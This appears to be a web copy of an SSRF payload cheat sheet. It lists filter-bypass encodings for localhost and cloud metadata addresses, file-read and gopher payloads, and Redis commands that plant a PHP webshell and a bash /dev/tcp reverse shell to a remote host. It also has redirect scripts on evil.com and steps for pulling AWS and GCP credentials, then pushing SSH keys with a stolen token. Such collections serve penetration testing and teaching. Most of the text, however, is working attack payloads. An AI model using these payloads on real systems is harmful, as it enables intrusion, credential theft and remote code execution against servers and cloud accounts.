Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
- Tools
- Payloads with localhost
- Bypassing filters
- Bypass using HTTPS
- Bypass localhost with [::]
- Bypass localhost with a domain redirection
- Bypass localhost with CIDR
- Bypass using a decimal IP location
- Bypass using octal IP
- Bypass using IPv6/IPv4 Address Embedding
- Bypass using malformed urls
- Bypass using rare address
- Bypass using URL encoding
- Bypass using bash variables
- Bypass using tricks combination
- Bypass using enclosed alphanumerics
- Bypass filter_var() php function
- Bypass against a weak parser
- Bypassing using jar protocol (java only)
- SSRF exploitation via URL Scheme
- SSRF exploiting WSGI
- SSRF exploiting Redis
- SSRF exploiting PDF file
- Blind SSRF
- SSRF to XSS
- SSRF from XSS
- SSRF URL for Cloud Instances
- SSRF URL for AWS Bucket
- SSRF URL for AWS ECS
- SSRF URL for AWS Elastic Beanstalk
- SSRF URL for AWS Lambda
- SSRF URL for Google Cloud
- SSRF URL for Digital Ocean
- SSRF URL for Packetcloud
- SSRF URL for Azure
- SSRF URL for OpenStack/RackSpace
- SSRF URL for HP Helion
- SSRF URL for Oracle Cloud
- SSRF URL for Kubernetes ETCD
- SSRF URL for Alibaba
- SSRF URL for Hetzner Cloud
- SSRF URL for Docker
- SSRF URL for Rancher
- swisskyrepo/SSRFmap - Automatic SSRF fuzzer and exploitation tool
- tarunkant/Gopherus - Generates gopher link for exploiting SSRF and gaining RCE in various servers
- In3tinct/See-SURF - Python based scanner to find potential SSRF parameters
- teknogeek/SSRF Sheriff - Simple SSRF-testing sheriff written in Go
- assetnote/surf - Returns a list of viable SSRF candidates
- dwisiswant0/ipfuscator - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
- Using
localhost
http://localhost:80 http://localhost:443 http://localhost:22
- Using
127.0.0.1
http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22
- Using
0.0.0.0
http://0.0.0.0:80 http://0.0.0.0:443 http://0.0.0.0:22
https://127.0.0.1/
https://localhost/
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0000::1]:25/ SMTP
http://[0000::1]:22/ SSH
http://[0000::1]:3128/ Squid
Domain | Redirect to |
---|---|
localtest.me | ::1 |
localh.st | 127.0.0.1 |
spoofed.[BURP_COLLABORATOR] | 127.0.0.1 |
spoofed.redacted.oastify.com | 127.0.0.1 |
company.127.0.0.1.nip.io | 127.0.0.1 |
The service nip.io is awesome for that, it will convert any ip address as a dns.
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
IP addresses from 127.0.0.0/8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
Implementations differ on how to handle octal format of ipv4.
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...
Ref:
- DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing
- AppSecEU15-Server_side_browsing_considered_harmful.pdf
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
localhost:+11211aaa
localhost:00011211aaaa
You can short-hand IP addresses by dropping the zeros
http://0/
http://127.1
http://127.0.1
Single or double encode a specific URL to bypass blacklist
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
(curl only)
curl -v "http://evil$google.com"
$google = ""
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
In some languages (.NET, Python 3) regex supports unicode by default.
\d
includes 0123456789
but also ๐๑๒๓๔๕๖๗๘๙
.
0://evil.com:80;http://google.com:80/
by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Blind SSRF
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
Allows an attacker to fetch the content of a file on the server
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
The following URL scheme can be used to probe the network
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
A network protocol used for secure file transfer over secure shell
ssrf.php?url=sftp://evil.com:11111/
Trivial File Transfer Protocol, works over UDP
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <[email protected]>',
'RCPT To: <[email protected]>',
'DATA',
'Subject: @sxcurity!',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
ssrf.php?url=netdoc:///etc/passwd
Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
Header | ||
---|---|---|
modifier1 | (1 byte) | 0 (%00) |
datasize | (2 bytes) | 26 (%1A%00) |
modifier2 | (1 byte) | 0 (%00) |
Variable (UWSGI_FILE) | ||||
---|---|---|---|---|
key length | (2 bytes) | 10 | (%0A%00) | |
key data | (m bytes) | UWSGI_FILE | ||
value length | (2 bytes) | 12 | (%0C%00) | |
value data | (n bytes) | /tmp/test.py |
Redis is a database system that stores everything in RAM
# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE
# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
Example with WeasyPrint by @nahamsec
<link rel=attachment href="file:///root/secret.txt">
Example with PhantomJS
<script>
exfil = new XMLHttpRequest();
exfil.open("GET","file:///etc/passwd");
exfil.send();
exfil.onload = function(){document.write(this.responseText);}
exfil.onerror = function(){document.write('failed!')}
</script>
When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
Use an SSRF chain to gain an Out-of-Band output.
From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.com/assetnote/blind-ssrf-chains
Possible via HTTP(s)
- Elasticsearch
- Weblogic
- Hashicorp Consul
- Shellshock
- Apache Druid
- Apache Solr
- PeopleSoft
- Apache Struts
- JBoss
- Confluence
- Jira
- Other Atlassian Products
- OpenTSDB
- Jenkins
- Hystrix Dashboard
- W3 Total Cache
- Docker
- Gitlab Prometheus Redis Exporter
Possible via Gopher
by @D0rkerDevil & @alyssa.o.herrera
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
The content of the file will be integrated inside the PDF as an image or text.
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
Example of a PDF attachment using HTML
- use
<link rel=attachment href="URL">
as Bio text - use 'Download Data' feature to get PDF
- use
pdfdetach -saveall filename.pdf
to extract embedded resource cat attachment.bin
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - Docs
-
IPv4 endpoint (old):
http://169.254.169.254/latest/meta-data/
-
IPv4 endpoint (new) requires the header
X-aws-ec2-metadata-token
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
-
IPv6 endpoint:
http://[fd00:ec2::254]/latest/meta-data/
In case of a WAF, you might want to try different ways to connect to the API.
- DNS record pointing to the AWS API IP
http://instance-data http://169.254.169.254 http://169.254.169.254.nip.io/
- HTTP redirect
Static:http://nicob.net/redir6a Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
- Encoding the IP to bypass WAF
http://425.510.425.510 Dotted decimal with overflow http://2852039166 Dotless decimal http://7147006462 Dotless decimal with overflow http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal http://0xA9FEA9FE Dotless hexadecimal http://0x41414141A9FEA9FE Dotless hexadecimal with overflow http://0251.0376.0251.0376 Dotted octal http://0251.00376.000251.0000376 Dotted octal with padding http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal) http://[::ffff:a9fe:a9fe] IPV6 Compressed http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4 http://[fd00:ec2::254] IPV6
These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
# Examples
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
http://169.254.169.254/latest/user-data
Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
E.g: Jira SSRF leading to AWS info disclosure - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
E.g2: Flaws challenge - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
If you have an SSRF with file system access on an ECS instance, try extracting /proc/self/environ
to get UUID.
curl http://169.254.170.2/v2/credentials/<UUID>
This way you'll extract IAM keys of the attached role
We retrieve the accountId
and region
from the API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
We then retrieve the AccessKeyId
, SecretAccessKey
, and Token
from the API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Required headers can be set using a gopher SSRF with the following technique
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
Interesting files to pull out:
- SSH Public Key :
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
- Get Access Token :
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
- Kubernetes Key :
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Check the scope of the token
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Now push the SSH key.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Documentation available at https://metadata.packet.net/userdata
Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/v1/maintenance
Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
(header required? unknown)
http://169.254.169.254/openstack
(header required? unknown)
http://169.254.169.254/2009-04-04/meta-data/
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
http://169.254.169.254/hetzner/v1/metadata/private-networks
http://169.254.169.254/hetzner/v1/metadata/availability-zone
http://169.254.169.254/hetzner/v1/metadata/region
Can contain API keys and internal ip and ports
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
More info:
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
- Docker Engine API: https://docs.docker.com/engine/api/latest/
curl http://rancher-metadata/<version>/<path>
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
- Basic SSRF against the local server
- Basic SSRF against another back-end system
- SSRF with blacklist-based input filter
- SSRF with whitelist-based input filter
- SSRF with filter bypass via open redirection vulnerability
- AppSecEU15-Server_side_browsing_considered_harmful.pdf
- Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13
- ESEA Server-Side Request Forgery and Querying AWS Meta Data by Brett Buerhaus
- SSRF and local file read in video to gif converter
- SSRF in https://imgur.com/vidgif/url
- SSRF in proxy.duckduckgo.com
- Blind SSRF on errors.hackerone.net
- SSRF on *shopifycloud.com
- Hackerone - How To: Server-Side Request Forgery (SSRF)
- Awesome URL abuse for SSRF by @orange_8361 #BHUSA
- How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai
- #HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai
- SSRF Tips - xl7dev
- SSRF in https://imgur.com/vidgif/url
- Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat
- AppSecEU15 Server side browsing considered harmful - @Agarri
- Enclosed alphanumerics - @EdOverflow
- Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity
- PHP SSRF @secjuice
- How I convert SSRF to xss in a ssrf vulnerable Jira
- Piercing the Veil: Server Side Request Forgery to NIPRNet access
- Hacker101 SSRF
- SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例
- SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019
- SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst
- X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang
- Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure
- PortSwigger - Web Security Academy Server-side request forgery (SSRF)
- SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019
- SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019
- challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!
- Attacking Url's in JAVA
- SSRF: Don't encode entire IP